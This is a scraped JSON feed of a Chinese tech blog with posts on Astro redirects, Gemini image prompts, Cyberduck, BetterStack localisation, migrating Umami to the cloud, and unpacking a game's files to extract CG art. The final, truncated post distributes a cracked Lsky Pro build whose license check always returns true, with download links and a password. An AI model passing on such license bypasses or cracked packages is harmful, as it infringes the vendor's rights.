style=\"color:#a6e22e\"\u003estatus\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e302\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    },\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e});\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e有的小伙伴就会问了，如果我的Astro输出模式为SSG？那Astro的重定向是不是不支持 \u003ccode\u003elocation\u003c/code\u003e 重定向？仅支持 \u003ccode\u003eHTML\u003c/code\u003e 重定向？\u003c/p\u003e\n\u003cp\u003e的确，在不对构建服务商进行额外配置的情况下，Astro会使用兼容模式，创建 \u003ccode\u003eHTML\u003c/code\u003e 重定向，你可以尝试安装适配器来支持重定向，但需要注意 \u003cstrong\u003e并不是所有适配器都会透传Astro中设置的重定向规则\u003c/strong\u003e ，始终建议使用您构建服务商提供的重定向服务，参见： \u003ca href=\"/posts/vercel-redirects/\"\u003e配置 Vercel.json 以支持服务器级别的重定向\u003c/a\u003e。如配置 \u003ccode\u003evercel.json\u003c/code\u003e 。关于 Astro 适配器的更多信息，参见 \u003ca href=\"https://docs.astro.build/zh-cn/reference/configuration-reference/#adapter\"\u003e配置参考 | Docs\u003c/a\u003e\u003c/p\u003e","title":"利用Astrov3的原生重定向来实现各种各样的高级重定向！"},{"content":"快速上手 进入 Google AI Studio\n粘贴一张图，说出你想要的更改\n立绘转真人COS Prompt：Generate a highly detailed photo of\na girl cosplaying this illustration, at Comiket.\nExactly replicate the same pose, body posture,\nhand gestures, facial expression, and camera\nframing as in the original llustration. Keep the\nsame angle, perspective, and composition,\nwithout any deviation\n注意：\n立绘最好为纯色背景，人物主体完整\n立绘中角色不要做出现实中无法做出的动作，这可能会触发AI的Copy，会将图片完整的复制过来而不是创建一个Coser\n七夕生草图 Prompt： A photorealistic scene inside a McDonald’s restaurant.\nOn my table, there is a picture frame showing the anime-style image I provided.\nEverything outside the frame must be 100% realistic and human.\nOn the opposite table, a real Chinese couple is sitting together.\nThe female partner is cosplaying the character from the provided image, wearing the same outfit, but she must look like a real human girl, not a drawing or cartoon.\n⚠️ She should not mimic the exact pose or gesture from the anime illustration — instead, she should be doing something natural for a restaurant setting, such as eating food, drinking from a cup, talking with her partner, or smiling casually.\nThe entire environment (restaurant interior, people, cosplay) must look like a natural camera photo.\nApply background blur (bokeh effect) to the opposite table and everything behind it, making the image look like it was taken with a DSLR camera, not generated.\nOnly the picture inside the frame can contain anime style; all other elements must be realistic.\n去除背景 Prompt： 将这张图去除背景，仅保留人物主体\n结语 最好使用英语Prompt\n可以先对通用大模型（如ChatGPT）描述你要绘制什么图片，然后让他给你返回英文Prompt\n好图秀图不是一蹴而就的，需要细心打磨\n","permalink":"https://blog.2x.nz/posts/gemini-nano-banana/","summary":"\u003ch1 id=\"快速上手\"\u003e快速上手\u003c/h1\u003e\n\u003cp\u003e进入 \u003ca href=\"https://aistudio.google.com/prompts/new_chat\"\u003eGoogle AI Studio\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e粘贴一张图，说出你想要的更改\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/gemini-nano-banana/img/2025-09-01-16-33-14-1dc081b4dcb4eb99fd68c1d97322517a.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"立绘转真人cos\"\u003e立绘转真人COS\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePrompt：Generate a highly detailed photo of\u003c/p\u003e\n\u003cp\u003ea girl cosplaying this illustration, at Comiket.\u003c/p\u003e\n\u003cp\u003eExactly replicate the same pose, body posture,\u003c/p\u003e\n\u003cp\u003ehand gestures, facial expression, and camera\u003c/p\u003e\n\u003cp\u003eframing as in the original llustration. Keep the\u003c/p\u003e\n\u003cp\u003esame angle, perspective, and composition,\u003c/p\u003e\n\u003cp\u003ewithout any deviation\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e注意：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e立绘最好为纯色背景，人物主体完整\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e立绘中角色不要做出现实中无法做出的动作，这可能会触发AI的Copy，会将图片完整的复制过来而不是创建一个Coser\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/gemini-nano-banana/img/2025-09-01-16-34-07-7d28242d1b8c18abf6d6b44f8064abff.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/gemini-nano-banana/img/2025-09-01-16-37-48-572b1752-d279-4fc3-93a4-165a75640d84.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"七夕生草图\"\u003e七夕生草图\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePrompt： A photorealistic scene inside a McDonald’s restaurant.\u003c/p\u003e\n\u003cp\u003eOn my table, there is a picture frame showing the anime-style image I provided.\u003c/p\u003e","title":"Google最新的AI生图模型 Nano Banana！立绘转真人！一键P图！"},{"content":"前情提要 你可能知道 或不知道我运营着一个 二次元随机图 API，比如 AcoFork - RandomPic\n它的图片存储在 Cloudflare R2 也就是 Cloudflare 提供的对象存储\n随机图库存总是要扩充的，在曾经，我会使用 AList ，但现在，我会使用 Cyberduck\n这是什么？ Cyberduck 是一个 Win\u0026amp;Mac 双端的云存储浏览器，相比于 AList 它无需部署，传输文件也无需中转，仅作为一个前端来连接你自己的对象存储，简洁易用，界面如图\n如果你想将云存储映射为本地磁盘，可以使用姊妹软件 Mountain Duck\n优点？ API的图片统计，我无需再手搓S3 API来获取图片数量了，它自带\n上传文件无需再通过家里云的 AList 中转了\n之前的链路：我 - AList - S3\n现在的链路：我 - S3\n这显著降低了传输时间，提高了工作效率\n不止于S3，临时给家庭服务器传输文件可以直接使用SFTP而无需登录1Panel等面板了\n","permalink":"https://blog.2x.nz/posts/cyberduck/","summary":"\u003ch1 id=\"前情提要\"\u003e前情提要\u003c/h1\u003e\n\u003cp\u003e你可能知道 或不知道我运营着一个 \u003cstrong\u003e二次元随机图 API\u003c/strong\u003e，比如 \u003ca href=\"https://pic.072103.xyz/\"\u003eAcoFork - RandomPic\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e它的图片存储在 \u003cstrong\u003eCloudflare R2\u003c/strong\u003e 也就是 Cloudflare 提供的对象存储\u003c/p\u003e\n\u003cp\u003e随机图库存总是要扩充的，在曾经，我会使用 \u003ca href=\"https://alistgo.com/zh/\"\u003eAList\u003c/a\u003e ，但现在，我会使用 \u003ca href=\"https://cyberduck.io/\"\u003eCyberduck\u003c/a\u003e\u003c/p\u003e\n\u003ch1 id=\"这是什么\"\u003e这是什么？\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://cyberduck.io/\"\u003eCyberduck\u003c/a\u003e 是一个 Win\u0026amp;Mac 双端的云存储浏览器，相比于 AList 它无需部署，传输文件也无需中转，仅作为一个前端来连接你自己的对象存储，简洁易用，界面如图\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/cyberduck/img/2025-08-31-03-45-24-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e如果你想将云存储映射为本地磁盘，可以使用姊妹软件 \u003ca href=\"https://mountainduck.io/\"\u003eMountain Duck\u003c/a\u003e\u003c/p\u003e\n\u003ch1 id=\"优点\"\u003e优点？\u003c/h1\u003e\n\u003cp\u003eAPI的图片统计，我无需再手搓S3 API来获取图片数量了，它自带\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/cyberduck/img/2025-08-31-03-47-41-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/cyberduck/img/2025-08-31-03-47-57-image.webp\"\u003e\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e上传文件无需再通过家里云的 AList 中转了\u003c/p\u003e\n\u003cp\u003e之前的链路：我 - AList - S3\u003c/p\u003e\n\u003cp\u003e现在的链路：我 - S3\u003c/p\u003e\n\u003cp\u003e这显著降低了传输时间，提高了工作效率\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e不止于S3，临时给家庭服务器传输文件可以直接使用SFTP而无需登录1Panel等面板了\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/cyberduck/img/2025-08-31-03-52-04-image.webp\"\u003e\u003c/p\u003e","title":"Cyberduck - 简洁好用的S3文件浏览器"},{"content":"速览 现在点击 这里，或者通过顶部导航栏里的 状态 页面，就可以看到已经汉化好的 BetterStack 状态面板。\n汉化过程 在 BetterStack 左侧导航栏进入 Status pages，打开你的状态页域名后，再进入 Translations，就可以开始汉化了。\n一些小插曲 由于 BetterStack 并没有很好照顾中文语境，所以像 日 和 年 这样的翻译默认不会自动补上后缀。不过这个问题可以通过硬编码处理。\n至于 月，我这里则是直接这样写：\n另外，BetterStack 会把 UTC+8 自作聪明地写成 CST。但 CST 本身是一个有歧义的时区缩写，所以这里同样建议通过硬编码来修正。\n","permalink":"https://blog.2x.nz/posts/translations-betterstack/","summary":"\u003ch1 id=\"速览\"\u003e速览\u003c/h1\u003e\n\u003cp\u003e现在点击 \u003ca href=\"https://ss.2x.nz\"\u003e这里\u003c/a\u003e，或者通过顶部导航栏里的 \u003ccode\u003e状态\u003c/code\u003e 页面，就可以看到已经汉化好的 BetterStack 状态面板。\u003c/p\u003e\n\u003ch1 id=\"汉化过程\"\u003e汉化过程\u003c/h1\u003e\n\u003cp\u003e在 \u003ca href=\"https://uptime.betterstack.com/\"\u003eBetterStack\u003c/a\u003e 左侧导航栏进入 \u003ccode\u003eStatus pages\u003c/code\u003e，打开你的状态页域名后，再进入 \u003ccode\u003eTranslations\u003c/code\u003e，就可以开始汉化了。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/translations-betterstack/img/2025-08-28-18-52-03-image.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"一些小插曲\"\u003e一些小插曲\u003c/h1\u003e\n\u003cp\u003e由于 BetterStack 并没有很好照顾中文语境，所以像 \u003ccode\u003e日\u003c/code\u003e 和 \u003ccode\u003e年\u003c/code\u003e 这样的翻译默认不会自动补上后缀。不过这个问题可以通过硬编码处理。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/translations-betterstack/img/2025-08-28-18-57-52-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e至于 \u003ccode\u003e月\u003c/code\u003e，我这里则是直接这样写：\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/translations-betterstack/img/2025-08-28-18-58-30-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e另外，BetterStack 会把 \u003ccode\u003eUTC+8\u003c/code\u003e 自作聪明地写成 \u003ccode\u003eCST\u003c/code\u003e。但 \u003ccode\u003eCST\u003c/code\u003e 本身是一个有歧义的时区缩写，所以这里同样建议通过硬编码来修正。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/translations-betterstack/img/2025-08-28-18-56-39-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/translations-betterstack/img/2025-08-28-18-58-45-image.webp\"\u003e\u003c/p\u003e","title":"我给BetterStack的状态页面汉化了"},{"content":" 回滚了\n备份本地数据库 在任何一台机子上安装 pgAdmin4\n连接到本地的PostgreSQL实例\n右键需要备份的数据库，点击 备份\n填写 文件名 创建备份。备份的文件将会保留在 pgAdmin4 上\n还原备份到云端数据库 免费计划有 500MB 免费的数据库空间，完全够用了\n进入 https://supabase.com/\n创建一个新项目\n找到连接参数（左上角Connect）\n在 pgAdmin4 中，连接到Supabase数据库\n值得注意的是，本地的PostgreSQL我们可以创建多个子数据库。而在Supabase中，每一个项目对应一个专属的 postgres 数据库。当然，你完全可以使用 pgAdmin4 来创建新的子数据库，但是Supabase仪表盘上将不可见。所以，我建议在Supabase项目中，一个项目对应一个数据库，不使用子数据库\n右键，进行还原\n选择刚才备份的数据库文件\n进行还原，必会 失败，但是不用管\n这些报错大概就是，找不到之前数据库的用户之类的，实际上表结构已经被还原了\n在Render上部署Umami 打开 https://dashboard.render.com/\n创建项目，选择 Web Services\nSource Code 选择 Exist Image ，并输入 ghcr.io/umami-software/umami:postgresql-v2.19.0 最好选最新版，也就是 vx.xx.x 这个字段\n配置必须的环境变量\nKey Value APP_SECRET 在之前的环境变量中 DATABASE_TYPE postgresql DATABASE_URL 在Supabase仪表板中 你可以在曾经的Umami实例中看到 APP_SECRET 的值\n而 DATABASE_URL 可以在 Supabase 中看到\n其中的 [YOUR-PASSWORD] 可以在 Supabase 的数据库设置中进行重置\n注意，Supabase仅支持重置数据库密码，一旦设置后将无法再次查看，请妥善保管您的数据库密码\n配置完毕之后，部署它，Render将会为你分配一个Web地址\n尝试访问，应该已经迁移成功\n配置EdgeOne CDN变相支持CORS配置 由于 Umami 没有独立的CORS设置，如果不设置CORS则他人将可以随便刷你的Umami，这会导致统计不准确，详见 这篇文章 。我们可以接入EdgeOne CDN来变相支持CORS\n使用 源站域名 作为 回源 HOST 头 即可\nCORS配置详情\n","permalink":"https://blog.2x.nz/posts/umami-local-2-render/","summary":"\u003cblockquote\u003e\n\u003cp\u003e回滚了\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch1 id=\"备份本地数据库\"\u003e备份本地数据库\u003c/h1\u003e\n\u003cp\u003e在任何一台机子上安装 \u003cstrong\u003epgAdmin4\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e连接到本地的PostgreSQL实例\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/umami-local-2-render/img/2025-08-28-10-03-34-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e右键需要备份的数据库，点击 \u003cstrong\u003e备份\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/umami-local-2-render/img/2025-08-28-10-03-58-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e填写 \u003cstrong\u003e文件名\u003c/strong\u003e 创建备份。备份的文件将会保留在 \u003cstrong\u003epgAdmin4\u003c/strong\u003e 上\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/umami-local-2-render/img/2025-08-28-10-04-44-image.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"还原备份到云端数据库\"\u003e还原备份到云端数据库\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e免费计划有 500MB 免费的数据库空间，完全够用了\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/umami-local-2-render/img/2025-08-28-10-06-39-2dfd6b861774ca0b05d460fc19bfccb1.webp\"\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e进入 \u003ca href=\"https://supabase.com/\"\u003ehttps://supabase.com/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e创建一个新项目\u003c/p\u003e\n\u003cp\u003e找到连接参数（左上角Connect）\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/umami-local-2-render/img/2025-08-28-10-07-41-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e在 \u003cstrong\u003epgAdmin4\u003c/strong\u003e 中，连接到Supabase数据库\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/umami-local-2-render/img/2025-08-28-10-10-00-image.webp\"\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e值得注意的是，本地的PostgreSQL我们可以创建多个子数据库。而在Supabase中，每一个项目对应一个专属的 \u003cstrong\u003epostgres\u003c/strong\u003e 数据库。当然，你完全可以使用 \u003cstrong\u003epgAdmin4\u003c/strong\u003e 来创建新的子数据库，但是Supabase仪表盘上将不可见。所以，我建议在Supabase项目中，一个项目对应一个数据库，不使用子数据库\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e右键，进行还原\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/umami-local-2-render/img/2025-08-28-10-12-10-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e选择刚才备份的数据库文件\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/umami-local-2-render/img/2025-08-28-10-12-29-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e进行还原，必会 \u003cstrong\u003e失败\u003c/strong\u003e，但是不用管\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e这些报错大概就是，找不到之前数据库的用户之类的，实际上表结构已经被还原了\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/umami-local-2-render/img/2025-08-28-10-16-25-image.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"在render上部署umami\"\u003e在Render上部署Umami\u003c/h1\u003e\n\u003cp\u003e打开 \u003ca href=\"https://dashboard.render.com/\"\u003ehttps://dashboard.render.com/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e创建项目，选择 \u003cstrong\u003eWeb Services\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eSource Code\u003c/strong\u003e 选择 \u003cstrong\u003eExist Image\u003c/strong\u003e ，并输入 \u003ccode\u003eghcr.io/umami-software/umami:postgresql-v2.19.0\u003c/code\u003e \u003cem\u003e最好选最新版，也就是 \u003ccode\u003evx.xx.x\u003c/code\u003e 这个字段\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e配置必须的环境变量\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth style=\"text-align: center\"\u003eKey\u003c/th\u003e\n          \u003cth style=\"text-align: center\"\u003eValue\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003eAPP_SECRET\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e在之前的环境变量中\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003eDATABASE_TYPE\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003epostgresql\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003eDATABASE_URL\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e在Supabase仪表板中\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e你可以在曾经的Umami实例中看到 \u003cstrong\u003eAPP_SECRET\u003c/strong\u003e 的值\u003c/p\u003e","title":"记录迁移Umami，从本地到云"},{"content":" 参考了 虚幻4游戏解包导出及Mod制作指南 - 知乎\n下载尘白禁区 前往 https://www.cbjq.com/ 下载并安装尘白禁区，确保启动器内可以直接开始游戏（即游戏完整包体已下载到你的电脑）\n确认虚幻引擎版本 导航到放置尘白禁区游戏本体的EXE的目录，如\nC:\\SeasunCBJQos\\Game\\cbjq\\game\\Game\\Binaries\\Win64 右键 Game.exe ，单击属性，转到 详细信息 一栏。可以看到是 UE4 4.26 。记住他，后文要用\n将有关CG的PAK文件分离出来 前往\nC:\\SeasunCBJQos\\Game\\cbjq\\game\\Game\\Content\\Paks 这里列出了所有的PAK文件，由于我们只需要CG图，故也只需要解包类似 PAK_Game_UI_X-WindowsNoEditor.pak 这样的文件\n将其分离到一个单独的文件夹\n解包 下载解包脚本 https://r2.072103.xyz/snowbreak.bms\n前往 Luigi Auriemma 下载 QuickBMS\n打开\n第一步 选择解包脚本\n第二步 选择原始PAK文件所在的文件夹。选中文件夹后，在文件名输入 * 即可\n第三步 选择解包后输出目录\n等待解包\n解包完成\n查看解包后的文件 解包后我们就得到了一般UE引擎封装的 .uasset 文件\n我们需要使用另一个工具将其导出为一般格式的文件\n前往 UE Viewer | Gildor\u0026rsquo;s Homepage 。点击 Win32 Version 下载\n打开 umodel_64.exe 。 Path to game files: 填写通过 QuickBMS 解包后的输出文件夹，勾选 Override game detection 并选择 UE4 4.26，也就是最开始我们获取的虚幻引擎版本\n这样就可以在 UE Viewer 里面查看 .uasset 文件了。但是这个文件浏览器很难用，我推荐导出后使用Windows资源管理器查看\n右键你要导出的文件夹，比如 All Package 或者 Game ，点击 Export folder content 。可以选择一下输出文件夹，我这边是默认\n接下来你就可以在你设置的导出文件夹查看到所有一般格式的资源文件了，比如\n获取CG图 全局搜索关键字 PlotCG 就可以啦\n导出后的图片CG文件为 .TGA 文件，是无损图像格式，我们可以通过 BandiView - 图像查看器、快速且强大 来查看\n","permalink":"https://blog.2x.nz/posts/cbjq-unzip/","summary":"\u003cblockquote\u003e\n\u003cp\u003e参考了 \u003ca href=\"https://zhuanlan.zhihu.com/p/7144045084\"\u003e虚幻4游戏解包导出及Mod制作指南 - 知乎\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch1 id=\"下载尘白禁区\"\u003e下载尘白禁区\u003c/h1\u003e\n\u003cp\u003e前往 \u003ca href=\"https://www.cbjq.com/\"\u003ehttps://www.cbjq.com/\u003c/a\u003e 下载并安装尘白禁区，确保启动器内可以直接开始游戏（即游戏完整包体已下载到你的电脑）\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/cbjq-unzip/img/2025-08-24-01-16-37-image.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"确认虚幻引擎版本\"\u003e确认虚幻引擎版本\u003c/h1\u003e\n\u003cp\u003e导航到放置尘白禁区游戏本体的EXE的目录，如\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eC:\u003cspan style=\"color:#ae81ff\"\u003e\\S\u003c/span\u003eeasunCBJQos\u003cspan style=\"color:#ae81ff\"\u003e\\G\u003c/span\u003eame\u003cspan style=\"color:#ae81ff\"\u003e\\c\u003c/span\u003ebjq\u003cspan style=\"color:#ae81ff\"\u003e\\g\u003c/span\u003eame\u003cspan style=\"color:#ae81ff\"\u003e\\G\u003c/span\u003eame\u003cspan style=\"color:#ae81ff\"\u003e\\B\u003c/span\u003einaries\u003cspan style=\"color:#ae81ff\"\u003e\\W\u003c/span\u003ein64\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e右键 \u003ccode\u003eGame.exe\u003c/code\u003e ，单击属性，转到 \u003ccode\u003e详细信息\u003c/code\u003e 一栏。可以看到是 \u003ccode\u003eUE4 4.26\u003c/code\u003e 。记住他，后文要用\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/cbjq-unzip/img/2025-08-24-01-18-47-image.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"将有关cg的pak文件分离出来\"\u003e将有关CG的PAK文件分离出来\u003c/h1\u003e\n\u003cp\u003e前往\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eC:\u003cspan style=\"color:#ae81ff\"\u003e\\S\u003c/span\u003eeasunCBJQos\u003cspan style=\"color:#ae81ff\"\u003e\\G\u003c/span\u003eame\u003cspan style=\"color:#ae81ff\"\u003e\\c\u003c/span\u003ebjq\u003cspan style=\"color:#ae81ff\"\u003e\\g\u003c/span\u003eame\u003cspan style=\"color:#ae81ff\"\u003e\\G\u003c/span\u003eame\u003cspan style=\"color:#ae81ff\"\u003e\\C\u003c/span\u003eontent\u003cspan style=\"color:#ae81ff\"\u003e\\P\u003c/span\u003eaks\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e这里列出了所有的PAK文件，由于我们只需要CG图，故也只需要解包类似 \u003ccode\u003ePAK_Game_UI_X-WindowsNoEditor.pak\u003c/code\u003e 这样的文件\u003c/p\u003e\n\u003cp\u003e将其分离到一个单独的文件夹\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/cbjq-unzip/img/2025-08-24-01-22-23-image.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"解包\"\u003e解包\u003c/h1\u003e\n\u003cp\u003e下载解包脚本 \u003ca href=\"https://r2.072103.xyz/snowbreak.bms\"\u003ehttps://r2.072103.xyz/snowbreak.bms\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e前往 \u003ca href=\"https://aluigi.altervista.org/quickbms.htm\"\u003eLuigi Auriemma\u003c/a\u003e 下载 \u003ccode\u003eQuickBMS\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/cbjq-unzip/img/2025-08-24-01-22-37-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e打开\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/cbjq-unzip/img/2025-08-24-01-22-58-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e第一步 选择解包脚本\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/cbjq-unzip/img/2025-08-24-01-25-15-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e第二步 选择原始PAK文件所在的文件夹。选中文件夹后，在文件名输入 \u003ccode\u003e*\u003c/code\u003e 即可\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/cbjq-unzip/img/2025-08-24-01-25-58-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e第三步 选择解包后输出目录\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/cbjq-unzip/img/2025-08-24-01-26-32-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e等待解包\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/cbjq-unzip/img/2025-08-24-01-26-55-33683f308e84beb12f81c22c9702a4a4.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e解包完成\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/cbjq-unzip/img/2025-08-24-01-28-27-image.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"查看解包后的文件\"\u003e查看解包后的文件\u003c/h1\u003e\n\u003cp\u003e解包后我们就得到了一般UE引擎封装的 \u003ccode\u003e.uasset\u003c/code\u003e 文件\u003c/p\u003e\n\u003cp\u003e我们需要使用另一个工具将其导出为一般格式的文件\u003c/p\u003e\n\u003cp\u003e前往 \u003ca href=\"https://www.gildor.org/en/projects/umodel#files\"\u003eUE Viewer | Gildor\u0026rsquo;s Homepage\u003c/a\u003e 。点击 \u003ccode\u003eWin32 Version\u003c/code\u003e 下载\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/cbjq-unzip/img/2025-08-24-01-30-01-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e打开 \u003ccode\u003eumodel_64.exe\u003c/code\u003e 。 \u003ccode\u003ePath to game files:\u003c/code\u003e 填写通过 \u003ccode\u003eQuickBMS\u003c/code\u003e 解包后的输出文件夹，勾选 \u003ccode\u003eOverride game detection\u003c/code\u003e 并选择 UE4 4.26，也就是最开始我们获取的虚幻引擎版本\u003c/p\u003e","title":"记录解包尘白禁区以获得涩涩（？）CG"},{"content":" 仅供学习交流，请在下载后24h内删除。体验地址： https://lsky.2x.nz 视频教程： https://www.bilibili.com/video/BV1UieUzQEvq/\n方案一：本地开心版（推荐） 突然发现交付给我的项目是源码，那还逆向什么授权，直接永远返回true呗~\n安装包体 http://r2.072103.xyz/2xnzlskypro223.zpaq OneDrive - 2xnzlskypro223.zpaq 密码： 2xnz二叉树树 zpaq可以使用 Bandizip 官方网站 - 免费压缩软件下载 (Windows) 进行解压，旧版不支持\n我们做了什么？ 安装过程中无论输入授权密钥为任何值直接内部返回true，不再请求授权服务器 版本更新不再请求授权服务器，始终返回当前版本为最新版本 所有操作不经过授权服务器，全部本地执行 环境配置 自行参考： https://docs.lsky.pro/guide/install\n推荐使用宝塔面板部署，1Panel的容器化PHP好像有点问题\n如果坚持要用1Panel，推荐使用PHP8.2，出现500，404等状态码问题请自行解决，似乎需要一个特殊的 fallback 设置。感谢 fishcpy提供的解决方案！这里是他的部署教程： AcoFork的兰空图床开心版1panel部署教程 - 福利羊毛 - LINUX DO\n# 全局 404 交给 @fallback 处理，不强制状态码 error_page 404 @fallback; location / { try_files $uri $uri/ @fallback; } # 命名 location：交给 index.php，但不强制 200 location @fallback { rewrite ^ /index.php last; } # ----------------------------- # 特殊路径：/api/v2/ 也走 index.php，但不能强制 200 # ----------------------------- location ^~ /api/v2/ { # 同样使用 @fallback，不强制状态码 try_files $uri 